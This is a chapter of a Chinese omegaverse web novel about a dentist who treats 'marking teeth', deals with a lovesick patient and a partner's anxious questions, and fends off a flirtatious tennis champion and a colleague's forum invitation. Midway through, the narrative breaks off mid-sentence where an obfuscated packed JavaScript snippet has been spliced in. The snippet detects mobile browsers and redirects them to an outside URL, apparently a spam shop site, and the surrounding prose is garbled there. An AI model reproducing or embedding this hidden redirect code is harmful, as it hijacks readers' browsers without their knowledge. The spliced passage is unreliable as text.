都是例行公事的问话,毕竟这个之前还说要考虑一下的alpha此刻已经重新走进他的诊疗室了。 张维深吸了一口气,双手不自觉地握紧了:“苏医生,我决定做。就按您说的,双侧修复方案。”他垂下头,声音低了些,“我……我跟他说了您的治疗方案,他没说好,也没说不好。但我想,无论如何,先把牙齿的问题解决了。至少,得让我自己不再因为这个缺陷而被……被放弃。” 苏琼林对此不置可否。情感纠葛不是他的领域,也不是他的专长。 “好。既然决定了,那我们今天先开始右侧的初步治疗,处理咬合面角度偏差。”他站起身,示意张维躺上诊疗椅,“会有点酸,忍一下。” 张维顺从地躺下,点了点头,眼睛却盯着天花板某处,喃喃道:“苏医生,你说他是不是真的想跟我和好啊?昨天他给我发消息,说等我牙齿好就见面,还问我最近有没有好好忌口……” 苏琼林正弯腰准备器械,闻言只是公事公办地“嗯”了一声,手里的动作没停。 毕竟他见多了AO们因为标记牙纠结感情的事,早就练出了“左耳进右耳出还不影响操作”的技能。 治疗过程很顺利,张维出乎意料地配合,除了在器械触碰到敏感点时身体会下意识地绷紧外,几乎没发出什么声音。他闭着眼,不知道是在默默忍受,还是在想着那条来自“他”的消息。 治疗结束后,张维捂着还有些麻木的右脸颊,再次向苏琼林道谢后才离开。 送走张维,苏琼林准备整理刚才的病历。他刚在电脑前坐下,屏幕右下角突然弹出来个体育新闻推送,标题格外醒目—— 「艾利欧·卢茨逆转夺冠!职业生涯再添一金!」 加粗的标题旁边,还配着一张动态抓拍图片。图片上的艾利欧穿着红色运动衫,金发被汗水浸湿,几缕粘在额角,他正对着镜头挥舞奖杯,脸上是毫无保留的笑容,灿烂到几乎灼眼。 奇怪,工作用的电脑怎么也开始推送体育新闻了? 他本来想随手关掉,但指尖在鼠标左键上停了一秒,却鬼使神差地戳了进去。 页面跳转,是一个简短的赛后采访视频。 苏琼林没有戴耳机,只是看着无声的画面。 视频里的艾利欧似乎刚结束比赛,呼吸还有些急促,汗水顺着清晰的下颌线滑落,滴在运动衫的领口。他对着话筒说了些什么,眼神明亮,笑容自信,左边脸颊上那个小梨涡随着他的话语若隐若现。 真的很耀眼。 苏琼林客观评价。 就像一颗自顾自燃烧的小太阳,隔着屏幕都能感受到那股蓬勃到近乎过剩的生命力。 这模样,跟他诊疗椅上那个因为牙痛皱眉、被戳穿隐瞒伤情时耳根发红、被他命令“别动”时就真的不乱动的家伙,几乎判若两人。 苏琼林面无表情地盯着视频看了两秒,正准备关掉,目光无意间扫过放在桌角的手机。 屏幕是暗的,今天起床稍晚,一路赶时间来诊所,都没看手机,而手机也很乖,一点儿存在感也无。 他愣了两秒,伸手拿过手机,按亮屏幕。 锁屏界面上,果然显示着几条未读消息,来自那个熟悉的卡通狮子头像。 他解锁手机,点开聊天界面。 先是几张角度清奇的照片:灯火通明的体育馆通道,休息室里乱入的半个奖杯底座,还有一张似乎是对着更衣室镜子拍的模糊自拍,照片里的人金发凌乱,笑容却大得夸张。 紧接着,是一段短视频。 苏琼林下意识地将手机音量调低,然后点开。 背景应该是在酒店里,艾利欧手里拿着那个刚刚在新闻里出现过的奖杯,头发湿漉漉的,穿着睡袍,脸上还带着点湿润的红晕,对着镜头,眼神亮得惊人: “苏医生!看到了吗?我赢了!有了你的护齿,发力超——顺!”他特意加重了“超”字,还比了个大拇指。明明时间已经很晚了,但他整个人看起来一点儿也不疲惫,反而充满了活力。 视频到这里结束了。 苏琼林看着屏幕上那张带着点傻气的灿烂笑脸,犹豫了一下,回复:「知道了。」 几乎是秒回。 艾利欧:「我还特意让人录了比赛视频,给你看我戴护齿打球的样子。超帅的!」 不是,戴护齿打球哪儿帅了?而且现在你那儿还不到早上6点吧,起这么早? 苏琼林甚至可以脑补出对方此刻得意洋洋的表情。 他皱了皱眉,耐着性子回复了一条:「不用,我没兴趣。」 看一下推送新闻已经是破例了,谁要专门看你打球的视频? 可没过两分钟,手机就顽强地震动起来。 艾利欧发来了一段剪辑好的视频,看样子是团队工作人员帮忙处理的,全是他在比赛中发球、正手击球、反手抽击的特写镜头。角度专业,画面清晰,最后还加了个闪亮的文字特效:「苏医生的技术,助力我拿到冠军!」 苏琼林:“……” 所以这不是正常的比赛镜头吗?哪儿看得出来戴了护齿了? 他看着视频里那个在赛场上奔跑、跳跃、每一次发力都带动肌肉绷紧线条的金发身影,又看了看那句明显是调侃的马屁,嘴角几不可察地动了一下。 这人倒是会拍马屁。 就是有点幼稚。 他没再回复,手指在屏幕上点了点,把那个视频保存到了手机相册里。 嗯,我是为了评估护齿在高强度运动下的实际表现。 苏医生冷静地想。 * 下午,诊所迎来了一位意料之外的访客。 是之前那位犬牙有凸起的Alpha患者林思舟的Omega伴侣,陈禾然。他一个人来的,脚步很轻,走进诊疗室时,脸上带着些不安。 “苏医生,不好意思打扰您。”陈禾然的声音很轻,带着Omega特有的柔和,“我……我想问问,思舟的牙齿,您确定已经完全修好了吗?就是……标记用的那颗。” 苏琼林示意他坐下,熟练地调出林思舟的病历和最终修复后的影像资料:“我确定已经修复完毕。从结构和功能上看,标记时不会再产生疼痛,也能确保信息素的精准注入。” 陈禾然愣了愣,手指无意识地绞在一起:“那……那如果现在标记还是不成功……是因为我不够真心吗?” 苏琼林愣住了。 这是他职业生涯里,第一次有患者家属跑来问他这种纯正的“感情问题”。 不是,他只是牙科医生,不是心理医生啊。 这种问题,怎么也跑来问他了? 他习惯性地想划清界限,但看到陈禾然瞬间红了的眼眶,和那双带着迷茫与自我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696211|188968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀疑的眼睛,话到嘴边又改了:“标记需要两个人身心都愿意。如果牙齿本身没有问题,那就是……心的问题。” 你们AO的事情,自己不是应该比我这个beta更清楚吗? 陈禾然怔怔地听着,没再说话,只是低声道了谢,默默离开了。 苏琼林看着那个略显单薄的背影消失在门口,心里莫名有点乱。 这世界的人好像总把“标记”和“真心”绑得太紧,仿佛只要牙齿没问题,感情就该自动变得完美。可牙齿是死的,人心是活的,哪有那么多“只要……就……”的事? 苏医生表示有点无法理解。 * 临近下班,顾云深拿着一份装帧精美的邀请函找到了苏琼林。 “苏医生,‘标记齿科技术论坛’的议程出来了,你看看。”顾云深将邀请函递过来,语气温和,“这次有三位海外专家会重点讲解三维建模辅助定位技术在标记齿科的应用,机会难得。一起去?结束后应该还能拿到专家的课件。” 苏琼林接过那份质感厚重的邀请函,目光落在“三维建模辅助定位”那几个字上。 这方面的最新进展,他确实有些兴趣。 但论坛要连续两天,地点在隔壁城市,包含大量的社交环节、提问互动、小组讨论、茶歇和会后聚餐…… 他几乎能立刻想象出那种场合:要不断应付陌生同行的寒暄,回答各种或真心求教或隐含比较的提问,还要来回奔波。 光是想想,就觉得消耗能量。 他将邀请函递回顾云深手里,拒绝得干脆利落:“议程内容很好,但我觉得行程太密集了,有点累。论坛结束后,我找主办方发表的电子版论文集看就行。” 他对顾云深本人倒是没什么恶感,但那论坛安排真是想想就累。 顾云深似乎早已料到这个结果,他从善如流地接过邀请函,点了点头:“行,明白了。到时候专家们的课件出来了,我也发你一份。”他随即像是想起什么,很自然地补充道,“对了,苏医生,到时候电子版资料可能比较大,涉及一些三维模型的动态演示,邮箱传输不太方便,也影响预览效果。方便加个联系方式吗?比如绿泡泡?传文件和处理临时的工作沟通会高效很多。” 他的目光温和地落在苏琼林脸上,并不显得冒进。 苏琼林抿了抿唇,三维建模的动态演示确实不是普通邮件能搞定的,要是传一半卡住,或者解压后格式出错,反而更浪费时间;而且那几位海外专家的课件,说不定会有普通论文集里没有的实操细节,错过实在可惜。 而且同事要个联系方式也不是什么大事,索性就掏出了手机。 * 晚上,苏琼林洗完澡,穿着舒适的居家服坐在书桌前。电脑屏幕上打开着一篇论文,但他看了半天,感觉有点难以集中精神。 脑子里一会儿闪过陈禾然红着眼眶问“是不是我不够真心”的样子,一会儿又冒出艾利欧在视频里顶着湿漉漉的金发傻笑的画面。 他有点烦躁地揉了揉太阳穴,觉得自己今天可能有点不在状态。 就在这时,放在桌角的手机屏幕又突兀地亮了起来,嗡嗡震动着,打破了书房的安静。 不用看,苏琼林就有种预感。 拿起来一看,果然又是那个阴魂不散的卡通狮子。 艾利欧的消息带着一股兴高采烈的劲儿,几乎要冲破屏幕:「苏医生!我订好机票了!」 紧接着,又一条跟了过来: 「对了,我还给你带了个伴手礼哦!」 苏琼林盯着“伴手礼”三个字,眉头习惯性地蹙起。 他一点都不想要什么伴手礼。 他只希望下周三的复诊,这位精力过剩的巨星患者能老老实实张嘴、检查、然后走人。